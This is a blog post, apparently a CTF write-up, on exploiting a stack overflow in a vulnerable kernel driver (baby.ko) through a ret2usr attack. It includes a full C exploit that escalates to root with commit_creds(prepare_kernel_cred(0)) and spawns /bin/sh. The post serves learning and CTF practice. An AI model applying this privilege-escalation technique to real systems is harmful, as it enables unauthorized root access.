avatar

kernel pwn

I have been learned some knowledge about kernel pwn during my xman days, it’s definitely a awesome experience! There you can get many skills and tricks about binary and meet a brunch of guys who are interest in binary. Any way, come back today theme.

easy kernel

It’s a easy challenge which hasn’t kaslr, smep and smap. Why is that easy? Just that non protection for binary? No, logic does. So, put the baby.ko in ida, let’s check it out.

like stack buffer overflow, but in the kernal mode. What is the function called **”copy_from_user” **? let’s figure it out.

1
2
3
4
5
6
7
8
9
//linux/include/asm-arm/uaccess.h
static inline unsigned long copy_from_user(void *to, const void __user *from, unsigned long n)
{
if (access_ok(VERIFY_READ, from, n))
n = __arch_copy_from_user(to, from, n);
else /* security hole - plug it */
memzero(to, n);
return n;
}

This function has 3 arguments: first is void *to , destination address, which is pointer of kernal space, second is *from, source address, which is pointer of user space, another is n, number of bytes to copy. It can copy data from user space to kernal space and return number of bytes that could not be copied. On success, this will be zero. If some data could not be copied, this function will pad the copied data to the requested size using zero bytes.

A kernal pwn generally has some files like below.

1
2
3
❯ ls
baby.i64 bzImage initramfs.cpio
baby.ko startvm.sh

bzImage: kernal binary

initramfs.cpio: file system image

baby.ko: vulnerable drive

startvm.sh: a boot script with qemu arguments to start a vm

debug

When you boot your vm and lunch a shell, you can use two command to check out whether we can get a kernal address, we can’t get this if echo 1.

So, how can we do this? Find the /home/parallels/Desktop/level1/root0/etc/init.d/rcS and set the 1000 to 0000, after that we can get root shell. By the way, first you should unzip the initramfs.cpio and find the rcS then pack it again.

1
2
3
4
5
setsid cttyhack setuidgid 0000 sh
unzip a cpio
cpio -idmv <example.cpio
pick a file system to .cpio
find . | cpio -o --format=newc > rootfs.cpio

When we get a root shell use the command “lsmod” to get the base kernal address of baby.ko. If we use commit_creds(prepare_kernel_cred(0)) reach a root access, prepare_kernel_cred and commit_creds address are also indispensable.

Now, use the base kernal address of 0xFFFFFFFFC0002000 and set the breakpoint at retn. Use the cyclic make padding then we know that after 136 bytes is the rip.

1
2
3
4
5
6
7
8
9
int main(){
save_status();
int fd = open("/dev/baby",0);
char buf[0x100];
strcpy(buf,"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma"); //cyclic 160
//*((void **)(buf+136)) = &payload;
//getchar();
ioctl(fd,0x6001,buf);
}

ret2usr

If a binary protection not has smep, we can execute user space pages like execl(“/bin/sh”,”sh”,NULL). Think of smep as kind of a DEP/NX for the kernel. So, we can control the rip, no smep, just executing commit_creds(prepare_kernel_cred(0)) and back to user space call the function of execl, after that we get root.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<stdio.h>
#include<sys/ioctl.h>
#include<sys/mman.h>
#include<stdint.h>
#include<stdio.h>
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t (*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;

void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void save_status(){
asm(
" mov %%cs, %0\n"
"mov %%ss,%1\n"
"mov %%rsp,%3\n"
"pushfq\n"
"popq %2"
:"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
:
:"memory"
);
tf.rsp -= 4096;
tf.rip = &launch_shell;
}
void payload(){
commit_creds(prepare_kernel_cred(0));
asm("movq $tf, %rsp\n"
"swapgs\n"
"iretq\n");
launch_shell();
}
int main(){
save_status();
int fd = open("/dev/baby",0);
char buf[0x100];
memset(buf, 'A', 135);
*((void **)(buf+136)) = &payload;
//getchar();
ioctl(fd,0x6001,buf);
}
Author: CarlStar
Link: http://yoursite.com/2020/01/30/kernal/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment